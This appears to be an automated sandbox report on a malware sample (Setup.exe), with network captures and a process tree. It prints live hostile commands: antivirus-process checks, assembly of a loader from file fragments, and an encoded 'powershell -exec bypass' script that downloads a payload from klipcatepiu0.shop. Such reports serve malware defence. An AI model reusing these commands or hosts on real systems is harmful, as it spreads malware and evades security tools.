2024-12-08 00:46:41 UTC	3267	IN	Data Raw: 76 65 6e 22 20 64 61 74 61 2d 69 6e 64 65 78 3d 22 38 22 3e 3c 61 20 63 6c 61 73 73 3d 22 74 69 74 6c 65 2d 63 6f 6e 74 65 6e 74 20 74 61 67 2d 77 69 64 74 68 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 62 61 69 64 75 2e 63 6f 6d 2f 73 3f 77 64 3d 25 45 37 25 38 46 25 41 44 25 45 34 25 42 38 25 42 42 25 45 34 25 42 42 25 42 42 25 45 34 25 42 38 25 38 44 25 45 35 25 38 37 25 38 36 31 35 25 45 35 25 42 32 25 38 31 25 45 37 25 39 34 25 42 37 25 45 37 25 39 34 25 39 46 25 45 36 25 39 39 25 39 41 25 45 38 25 38 37 25 41 41 25 45 34 25 42 39 25 41 30 25 45 34 25 42 38 25 38 41 25 45 35 25 38 45 25 39 35 25 45 36 25 38 39 25 38 30 26 73 61 3d 69 70 63 5f 68 6f 6d 65 5f 68 6f 74 77 6f 72 64 5f 6a 74 26 72 73 76 5f 64 6c 3d 69 70 63 5f 68 6f 6d 65 Data Ascii: ven" data-index="8"><a class="title-content tag-width" href="https://www.baidu.com/s?wd=%E7%8F%AD%E4%B8%BB%E4%BB%BB%E4%B8%8D%E5%87%8615%E5%B2%81%E7%94%B7%E7%94%9F%E6%99%9A%E8%87%AA%E4%B9%A0%E4%B8%8A%E5%8E%95%E6%89%80&sa=ipc_home_hotword_jt&rsv_dl=ipc_home
2024-12-08 00:46:41 UTC	241	IN	Data Raw: 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 20 20 20 20 20 76 61 72 20 64 61 74 65 20 3d 20 6e 65 77 20 44 61 74 65 28 29 3b 0a 20 20 20 20 20 20 20 20 76 61 72 20 79 65 61 72 20 3d 20 64 61 74 65 2e 67 65 74 46 75 6c 6c 59 65 61 72 28 29 3b 0a 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 27 79 65 61 72 27 29 2e 69 6e 6e 65 72 54 65 78 74 20 3d 20 27 c2 a9 27 20 2b 20 79 65 61 72 20 2b 20 27 20 42 61 69 64 75 20 27 3b 0a 20 20 20 20 3c 2f 73 63 72 69 70 74 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: > </div> </div> <script type="text/javascript"> var date = new Date(); var year = date.getFullYear(); document.getElementById('year').innerText = '' + year + ' Baidu '; </script></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49979	104.21.26.127	443	8132	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-08 00:46:43 UTC	82	OUT	GET /int_clp_sha.txt HTTP/1.1 Host: klipcatepiu0.shop Connection: Keep-Alive
2024-12-08 00:46:43 UTC	912	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 00:46:43 GMT Content-Type: text/plain Content-Length: 19433880 Connection: close Accept-Ranges: bytes ETag: "42ae2f7da9547621cb950b619b792d53" Last-Modified: Thu, 05 Dec 2024 12:14:24 GMT Vary: Accept-Encoding CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2Fo4pUhKMj9r8%2BYhR2g1V%2BdF4MfLskAXEYmjlKhItXN3iDWQF2MeOpHfHcrx2veG4GdBFvDWLpOA6R%2BbJNp3HKg3aMPG05nxnlIaBQD8KiSxIdcdzVrx6EGmU2KqxoNSK8dpetA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ee8bd726ccb43e8-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1598&min_rtt=1590&rtt_var=614&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2868&recv_bytes=696&delivery_rate=1757977&cwnd=214&unsent_bytes=0&cid=79abba172a6c5c9a&ts=599&x=0"
2024-12-08 00:46:43 UTC	457	IN	Data Raw: 50 4b 03 04 14 00 08 00 08 00 a0 63 85 59 00 00 00 00 00 00 00 00 a8 19 01 00 0c 00 20 00 77 6c 65 73 73 66 70 31 2e 64 6c 6c 55 54 0d 00 07 7d 8e 51 67 7d 8e 51 67 7d 8e 51 67 75 78 0b 00 01 04 00 00 00 00 04 00 00 00 00 ec bd 79 5c 54 d5 fb 00 7c 67 01 2e 32 30 a3 0e 36 ea a8 93 8e 86 82 8a 81 86 0e 2a 28 cb 68 28 33 6c e3 0a 2e 80 23 22 2a cc 08 16 a1 34 8c 39 dc a6 b4 b2 ac 6f a5 a5 95 95 99 b9 92 9a b1 28 e0 8e e0 ae 19 9a d9 45 34 31 4d 71 9d f7 79 ce bd c3 96 d5 ef fb fb bd ef e7 fd c7 e1 f3 cc b9 67 7f ce 79 96 f3 3c e7 9c 3b 8c 9b b4 9c 12 51 14 25 06 70 38 28 aa 88 e2 3e 21 d4 bf 7f 1a 01 bc 7a ec f4 a2 b6 ba 1f 7e b6 48 10 75 f8 d9 38 e3 ec 2c d5 fc cc 79 b3 32 a7 cf 55 cd 9c 9e 91 31 cf a4 9a 91 a2 ca 34 67 a8 66 67 a8 c2 a2 63 55 73 e7 25 a7 Data Ascii: PKcY wlessfp1.dllUT}Qg}Qg}Qguxy\T\|g.206(h(3l.#"49o(E41Mqygy<;Q%p8(>!z~Hu8,y2U14gfgcUs%
2024-12-08 00:46:43 UTC	1369	IN	Data Raw: 49 e9 a8 a6 39 71 7e a0 df 90 01 5c 31 ea 36 8c 89 aa e2 db aa fa 4b b9 e2 01 99 59 99 33 29 7e ac b5 7c b9 da 27 b4 97 99 92 3e 0f 0a ca dd 29 32 07 a4 5c c3 5f ca 8d a2 9e 7e 9e 7e 9e 7e 9e 7e 9e 7e 9e 7e 9e 7e 9e 7e 9e 7e 9e 7e 9e 7e 9e 7e 9e 7e fe ab 8f e5 9a 1f 13 a6 0e 64 68 46 27 0e 28 d6 e9 6c 51 6a 09 13 a5 0e d2 db e2 d4 72 9d 3d 4e 2d 8b d1 55 84 a9 15 3e 50 36 15 1e d4 02 12 f4 51 51 b6 30 b5 0f 80 1f 80 3f 40 20 40 10 40 b0 c3 1b fc 44 99 65 af 5f d9 21 f8 58 ae d1 d0 be 0c da 0f 11 5b 8b 6d 12 35 14 11 e7 b9 de 3d 8d 21 e4 48 ec 72 75 8c 8e 35 3b 1c 0e cb 5e 59 d9 a1 04 c6 a4 a6 0d 4c c9 f7 e0 86 53 4c e3 ad cf 92 12 4b c5 d4 a1 a6 0f c9 0f 28 0e 72 35 0d 88 8d 37 30 0e a6 ca f2 c7 4d cb a5 1e 85 ca 76 85 72 7f e9 9e fb d2 ed f5 9a 1b 26 97 Data Ascii: I9q~\16KY3)~\|'>)2\_~~~~~~~~~~~~~dhF'(lQjr=N-U>P6QQ0?@ @@De_!X[m5=!Hru5;^YLSLK(r570Mvr&
2024-12-08 00:46:43 UTC	1369	IN	Data Raw: 1e 92 f9 08 96 0b c6 25 5b c8 51 4b c9 fe c8 51 4b 62 2d d6 73 92 90 01 09 49 9c 28 f8 73 e3 e5 fa 0f 8c 8d 07 f4 eb 02 ce 71 22 08 75 fc 80 0b 94 d0 b8 24 06 22 2a c4 23 98 08 a5 6e 0f e2 65 5c 85 3d 1e 4e b5 99 d4 c1 c4 16 98 02 5c 35 45 ed 8f 6a 40 c9 6a a1 17 50 96 93 53 87 9a 40 4d c5 81 06 d4 6a 6e e5 75 c5 f5 10 59 45 9b 10 03 bc 42 11 9d 23 01 a4 b3 1f 23 1f c8 41 98 fc f2 09 ff c8 ed 3a 61 bd ab fd 3f 28 18 a9 0c 6d 29 16 a6 6a 0e 9a ff f4 2d 3d d6 68 29 77 68 ca a5 ef 96 a1 36 d0 33 87 d9 8f ee c3 a4 4e e5 07 84 2b 01 8c 07 26 89 5b 43 40 c1 39 15 98 53 93 a4 f2 d3 f7 17 35 e9 54 68 58 60 18 af ba 24 69 82 b4 f9 2d f4 63 d9 a1 ff f7 db 5f f0 d7 f6 19 ce b8 52 90 f9 76 6a 61 b4 cc 6c 72 35 d4 0c 84 47 55 0c a6 db 09 af 8a d3 e6 a0 16 54 89 50 52 Data Ascii: %[QKQKb-sI(sq"u$"*#ne\=N\5Ej@jPS@MjnuYEB##A:a?(m)j-=h)wh63N+&[C@9S5ThX`$i-c_Rvjalr5GUTPR
2024-12-08 00:46:43 UTC	1369	IN	Data Raw: 54 d8 12 95 b6 0c b9 c3 3b 84 33 3e 95 36 6e fb 05 d5 1f a8 2f 95 3d 4f 6c 58 16 21 c0 1c 63 23 d0 71 59 77 cc 95 c4 42 36 d0 4e 68 eb c1 b8 69 ca a4 05 0e 34 88 69 a6 bd 3d 91 8e 35 1a 91 de 24 df b5 42 44 dc bb 91 e0 05 d2 f6 44 49 2c 59 7f 0c e8 e4 39 f3 70 e7 46 5a f0 23 3e 69 e0 61 3b 7a be 7e ec f1 30 9e 3d a4 05 eb 20 25 21 9e a9 64 97 a3 4d 03 b6 96 b4 60 05 b6 09 5e a6 0c ac a6 51 12 b2 35 b1 c8 1e ad 40 3b a7 eb 0d 87 63 49 ae 5a 45 15 ed 06 86 32 bb 14 6d 80 40 67 b4 12 17 81 b5 37 40 13 22 f0 cf 3a c0 0c cb f5 46 85 13 53 f3 50 a7 7f a9 e2 e2 dd 78 2f 96 b7 8a d0 85 7b c8 e5 88 ca 5d 05 2d 9d 51 18 9a 96 86 21 25 31 e5 89 53 27 b7 56 d7 87 f4 b1 09 cc e0 65 68 bf 19 59 64 70 de df 75 9c 04 ce 90 1b 1c 27 49 aa e3 24 58 57 af a3 cd 55 0c 2c e9 Data Ascii: T;3>6n/=OlX!c#qYwB6Nhi4i=5$BDDI,Y9pFZ#>ia;z~0= %!dM`^Q5@;cIZE2m@g7@":FSPx/{]-Q!%1S'VehYdpu'I$XWU,
2024-12-08 00:46:43 UTC	1369	IN	Data Raw: 03 99 6e cd 83 92 89 4a 88 45 16 21 11 95 c4 eb 44 f7 1c 35 dc 88 3a 30 11 72 4b b9 1c fa 38 d5 34 a6 29 50 0e c7 f5 3b 3f ae 17 b1 09 7b 14 4d c6 f5 3f 1f 15 22 f9 8f a3 fa 9c 1f 15 1e b2 80 d4 12 43 30 06 47 e5 d6 62 54 cd 1f cb b5 e0 d4 7c cd b8 49 b0 5e 4a ad 0f 90 d6 a3 83 ed e9 0a b1 74 47 b8 30 60 7f aa a6 44 ba f4 57 14 f4 28 62 5e 4a 96 33 2f 06 8b 20 4c 43 76 55 db b7 76 c6 3b cd 31 b8 2d ff 3d f8 1e 94 3d 17 0c 89 5b 9f 39 bc 15 dc 1c 05 81 32 04 63 2a 8a 2a 87 12 94 09 f4 50 bd 2b 6e cf f9 96 d8 03 15 4c 78 ae a6 24 33 90 59 89 d7 64 81 29 fd 45 55 a2 7b 9a 53 d9 3d a1 e2 04 c0 3f 0e 77 ce e2 62 f4 09 a2 72 d6 4c 16 0b 54 c4 53 20 d1 8f b1 9e 87 3a 50 db 9f 59 59 db ba 76 f7 27 d4 9e f5 c8 59 1b 0f a0 64 d2 1d f1 42 0b 48 a3 0f 48 b2 a6 14 29 Data Ascii: nJE!D5:0rK84)P;?{M?"C0GbT\|I^JtG0`DW(b^J3/ LCvUv;1-==[92c**P+nLx$3Yd)EU{S=?wbrLTS :PYYv'YdBHH)
2024-12-08 00:46:43 UTC	1369	IN	Data Raw: 40 5f 9f 41 6a d0 e4 84 0f 18 42 db 12 33 52 2d 8e 5c 65 93 25 d9 64 36 ad f8 2f 5d d1 69 02 ac 96 d3 12 6b 1c bb b1 a3 98 a2 9c 47 7f a6 de 50 3e 90 11 a6 39 78 93 03 6f 51 e0 de 59 12 e9 a6 a9 51 13 14 f2 62 86 63 89 b4 c7 60 f3 34 23 d2 a9 55 7b 38 21 98 19 de a6 7e ae 5a 65 cf 96 a0 10 b5 1a 85 5b 02 74 bb a4 55 92 54 5f 1e 29 07 63 a0 a0 d5 6c 3b da 0f a6 64 3f 00 fb fa 43 18 0d 90 0c b0 08 e0 6d 80 8d 00 d5 00 b7 01 3a 0c a1 64 13 00 d2 01 96 02 ac 01 d8 3d 84 ab 7b 93 0f bd 00 96 be c0 ad f1 96 6b d3 88 c7 90 9e c0 0c 5e 0e 5d 82 c2 89 77 9c 4c 13 c7 33 8d 8e 93 cc 87 ea 25 9c 3b 95 83 4a 4e 5a 50 4e f6 21 51 43 f6 b3 af 40 09 b3 dc 97 67 f7 60 6a 62 98 77 48 c9 18 bd 8e 7d e9 21 31 35 93 c8 b6 ce b4 52 19 95 7f af 00 b2 cc 31 4b 72 68 ca 14 05 e6 Data Ascii: @_AjB3R-\e%d6/]ikGP>9xoQYQbc`4#U{8!~Ze[tUT_)cl;d?Cm:d={k^]wL3%;JNZPN!QC@g`jbwH}!15R1Krh
2024-12-08 00:46:43 UTC	1369	IN	Data Raw: da 5e 0f 41 7d 65 8f 00 f3 6b ab 02 6c 5e 36 87 94 a5 5b e8 9c 84 b4 60 d6 e8 d3 bc 7d d1 d7 90 16 64 cf 03 3c 80 eb 37 01 2d d9 ba e7 80 35 82 8c eb 90 77 d8 f1 b8 3c ee 55 e0 c4 91 3b 50 8e de 1b f2 9b f7 06 88 ff 05 6e 60 c0 7e cd 31 d3 38 66 94 52 53 62 8a b0 69 95 b6 b1 72 db 58 da 36 56 51 31 ca 9f 1c 6f 73 2c 05 ec a4 b2 69 7d 6c 5a 3f 9b d6 df a6 0d b2 69 83 ed cb fc 5d f0 14 5a 8e af 9e db b4 e9 36 ad ce a6 8d 0a 28 2e 2b 02 f6 76 f0 f6 bc 04 94 a0 a6 42 5a b0 0d 19 2e 68 90 d4 ba 01 45 16 14 55 90 d4 8a d2 4c 4e ec 34 77 a5 05 af 43 64 68 9e ca 96 a7 30 b7 ab 88 50 51 13 41 24 f3 7c 86 e6 a9 cd c0 05 6a d5 44 64 0d 1f 66 bc ca e8 0f 52 8f f7 52 8f 81 a6 d2 54 98 e9 c4 22 b0 59 1c 49 68 d4 ca 34 47 6d 11 ca 57 dc 6c 39 f4 dd 33 f5 1d 99 63 25 f7 Data Ascii: ^A}ekl^6[`}d<7-5w<U;Pn`~18fRSbirX6VQ1os,i}lZ?i]Z6(.+vBZ.hEULN4wCdh0PQA$\|jDdfRRT"YIh4GmWl93c%
2024-12-08 00:46:43 UTC	1369	IN	Data Raw: ce 0b f1 e6 e4 f7 ef b0 57 b7 c2 de e7 7f 8b 7d b7 7f c3 5e d1 1a 7b 35 87 36 cd a3 8d cd 8d 43 ae f5 41 bc af 79 fe bb 9e 91 ee 88 56 68 ce 34 e9 93 f5 a8 4f 74 50 cf c9 96 4e 21 8b 96 95 dc 73 47 c5 a2 f5 03 96 e2 0d 21 5e ed 1b 5b 68 48 4e 2d 02 fa 15 6e e8 cb d4 b5 f3 44 f5 a7 ca 1a 68 5f a7 6e d2 7f 9e ff a4 57 38 bc 50 aa 29 10 6b 90 e7 5a 99 a8 32 a0 b8 30 59 dd a5 e4 22 0d 2a 45 54 69 17 e3 9c 85 70 7d 71 ba 03 4f 3f 2d 8b 71 01 dd 24 69 42 ec 5b 05 99 cd 28 2c 38 ca 9f 9f 57 0e 31 98 d2 30 17 69 c1 7e 09 56 13 53 26 05 73 c4 72 d1 ad a6 de f7 66 85 1b 5e b9 40 2c ea c6 61 ee 63 11 a7 03 3e 96 fc 0d d6 22 5e 07 1c 3c 56 cf 94 c1 14 59 6a 45 78 4b a1 51 64 8b 16 67 27 c2 82 fb 21 2c b8 25 f5 c2 0a 37 4f be 61 cb ef c2 ba 9b 80 05 53 c1 9e bf e3 70 Data Ascii: W}^{56CAyVh4OtPN!sG!^[hHN-nDh_nW8P)kZ20Y"*ETip}qO?-q$iB[(,8W10i~VS&srf^@,ac>"^<VYjExKQdg'!,%7OaSp
2024-12-08 00:46:43 UTC	1369	IN	Data Raw: 70 60 e6 fc 86 46 87 2d 74 76 be 1c 3b ef 24 44 a5 d1 89 53 98 4a 30 46 67 0b b9 ad 5a ac c1 44 86 81 55 14 ec 0b 63 f5 d7 10 d3 68 a1 0c 23 81 a2 68 54 02 72 df ca 7a 09 c4 7c 2b 45 d1 fe 0c 77 6c a8 46 6f a2 04 49 b6 b0 33 53 52 df 1e f5 8d 2f d0 23 84 5f 65 08 3d 5a 9b 5b be 95 b8 0d 04 69 d0 10 7a 78 c0 f8 38 e9 85 ee 16 fc 31 94 65 34 9a 43 a8 be cd 75 e8 b6 e1 fb d9 52 6b 8a c0 a9 eb ea 26 09 9a 70 ff 86 3f 7a 2f 8c 0e 71 56 53 a2 e3 e3 c3 17 1d 88 45 17 e3 cb 1f 65 14 67 e4 f7 e3 d6 23 93 e0 7f 60 6f 86 c1 a4 84 11 44 43 04 a1 72 41 a4 92 28 61 3f d3 40 1c 23 78 43 3a df 4a cb 62 19 a5 8f 31 b9 b1 d8 5f bd 0b 5b 2b 69 e5 67 a0 8f 04 ae 06 14 62 b8 13 15 3f a6 cc dc bd 37 f1 1a 0e 96 5c 04 d6 0d d8 5f 98 0e 5e 43 2d 0d fc 75 b0 a4 4e 01 3c 1b d9 cc Data Ascii: p`F-tv;$DSJ0FgZDUch#hTrz\|+EwlFoI3SR/#_e=Z[izx81e4CuRk&p?z/qVSEeg#`oDCrA(a?@#xC:Jb1_[+igb?7\_^C-uN<
2024-12-08 00:46:43 UTC	1369	IN	Data Raw: 9c ea 03 60 0a 74 bc 1d 55 af bc 53 aa 32 e1 b5 7b 45 85 10 cd e4 7a 6f 3e 17 ed 63 34 f1 2a 04 5d 39 a4 e5 4c 45 09 2b 02 52 15 e3 9f 6f 23 73 b4 d9 d8 d3 f9 9e b0 94 ba a0 88 9c b6 87 0b c0 03 8c 10 e0 6b b8 b8 f8 97 bb e0 6e 8d 2d 14 97 63 85 4d 2f b6 e5 04 27 c1 6a 37 21 68 72 cb 57 00 f2 af e1 29 e8 27 39 78 4b 60 af ad 40 bd 0c fb 2c 50 e3 3b a5 cc 3b 6a fc 45 f2 58 e6 43 12 c6 33 1b d4 1f 52 78 7c ba 95 64 a3 06 0a 28 b6 de 01 ae d6 91 df 77 81 e9 45 91 06 40 ed 34 05 60 1a 40 32 80 11 20 1d 60 fe c2 4e 60 8e 86 83 cf 1e 16 15 27 b0 47 45 c5 e1 1b 0a e5 99 57 19 21 7a 69 df 4b 89 3f 9f 1b 15 47 99 69 4b 1d 4e 6d 56 03 31 cf 94 0b 5d c9 9d ee 12 eb 7e 73 68 2a 3c 7a 31 1e e5 a0 a4 43 e0 cb 13 5f 36 95 d8 04 16 91 98 f1 48 24 e1 d4 0a 21 b7 f1 33 99 Data Ascii: `tUS2{Ezo>c4]9LE+Ro#skn-cM/'j7!hrW)'9xK`@,P;;jEXC3Rx\|d(wE@4`@2 `N`'GEW!ziK?GiKNmV1]~sh<z1C_6H$!3

Target ID:	0
Start time:	19:44:01
Start date:	07/12/2024
Path:	C:\Users\user\Desktop\Setup.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Setup.exe"
Imagebase:	0x400000
File size:	1'079'797 bytes
MD5 hash:	5EFE766F54925452535EF011161EDD16
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	19:44:01
Start date:	07/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c copy Nevertheless Nevertheless.cmd && Nevertheless.cmd
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	19:44:01
Start date:	07/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	19:44:03
Start date:	07/12/2024
Path:	C:\Windows\SysWOW64\tasklist.exe
Wow64 process (32bit):	true
Commandline:	tasklist
Imagebase:	0x230000
File size:	79'360 bytes
MD5 hash:	0A4448B31CE7F83CB7691A2657F330F1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	19:44:03
Start date:	07/12/2024
Path:	C:\Windows\SysWOW64\findstr.exe
Wow64 process (32bit):	true
Commandline:	findstr /I "wrsa opssvc"
Imagebase:	0x200000
File size:	29'696 bytes
MD5 hash:	F1D4BE0E99EC734376FDE474A8D4EA3E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	19:44:03
Start date:	07/12/2024
Path:	C:\Windows\SysWOW64\tasklist.exe
Wow64 process (32bit):	true
Commandline:	tasklist
Imagebase:	0x230000
File size:	79'360 bytes
MD5 hash:	0A4448B31CE7F83CB7691A2657F330F1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	19:44:03
Start date:	07/12/2024
Path:	C:\Windows\SysWOW64\findstr.exe
Wow64 process (32bit):	true
Commandline:	findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"
Imagebase:	0x200000
File size:	29'696 bytes
MD5 hash:	F1D4BE0E99EC734376FDE474A8D4EA3E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	19:44:04
Start date:	07/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c md 189943
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	19:44:04
Start date:	07/12/2024
Path:	C:\Windows\SysWOW64\findstr.exe
Wow64 process (32bit):	true
Commandline:	findstr /V "ExpendituresReactionsRioWinterDialReducedPricingSoftware" Dennis
Imagebase:	0x800000
File size:	29'696 bytes
MD5 hash:	F1D4BE0E99EC734376FDE474A8D4EA3E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	19:44:04
Start date:	07/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c copy /b ..\Handbook + ..\Attorneys + ..\Celebration + ..\Advert + ..\Loop + ..\Objectives + ..\Added X
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	19:44:04
Start date:	07/12/2024
Path:	C:\Users\user\AppData\Local\Temp\189943\Attachment.com
Wow64 process (32bit):	true
Commandline:	Attachment.com X
Imagebase:	0x550000
File size:	893'608 bytes
MD5 hash:	6EE7DDEBFF0A2B78C7AC30F6E00D1D11
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 3%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	19:44:04
Start date:	07/12/2024
Path:	C:\Windows\SysWOW64\choice.exe
Wow64 process (32bit):	true
Commandline:	choice /d y /t 5
Imagebase:	0xbf0000
File size:	28'160 bytes
MD5 hash:	FCE0E41C87DC4ABBE976998AD26C27E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	19:46:23
Start date:	07/12/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	powershell -exec bypass -f "C:\Users\user\AppData\Local\Temp\GWXV5ZWRBDHT2N15VSQM3K80X.ps1"
Imagebase:	0xfd0000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	19:46:23
Start date:	07/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	19:46:24
Start date:	07/12/2024
Path:	C:\Windows\System32\wbem\WmiPrvSE.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Imagebase:	0x7ff693ab0000
File size:	496'640 bytes
MD5 hash:	60FF40CFD7FB8FE41EE4FE9AE5FE1C51
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	19
Start time:	19:46:25
Start date:	07/12/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	powershell -exec bypass -Enc JAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4ACAAPQAgAHsACgAgACAAIAAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0AUwBlAGMAbwBuAGQAcwAgADMACgAKACAAIAAgACAAWwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAUgBlAHEAdQBlAHMAdABdADoAOgBDAHIAZQBhAHQAZQAoACIAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AMwA2ADAALgBuAGUAdAAiACkALgBHAGUAdABSAGUAcwBwAG8AbgBzAGUAKAApAC4AQwBsAG8AcwBlACgAKQAKAAoAIAAgACAAIABTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAAxAAoACgAgACAAIAAgAFsAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAFIAZQBxAHUAZQBzAHQAXQA6ADoAQwByAGUAYQB0AGUAKAAiAGgAdAB0AHAAcwA6AC8ALwB3AHcAdwAuAGIAYQBpAGQAdQAuAGMAbwBtACIAKQAuAEcAZQB0AFIAZQBzAHAAbwBuAHMAZQAoACkALgBDAGwAbwBzAGUAKAApAAoACgAgACAAIAAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0AUwBlAGMAbwBuAGQAcwAgADEACgAKACAAIAAgACAAJABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbAAgAD0AIAAiAGgAdAB0AHAAcwA6AC8ALwBrAGwAaQBwAGMAYQB0AGUAcABpAHUAMAAuAHMAaABvAHAALwBpAG4AdABfAGMAbABwAF8AcwBoAGEALgB0AHgAdAAiAAoAIAAgACAAIAAkAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0AAoAIAAgACAAIAAkAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbAAgAD0AIAAkAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbAAuAEQAbwB3AG4A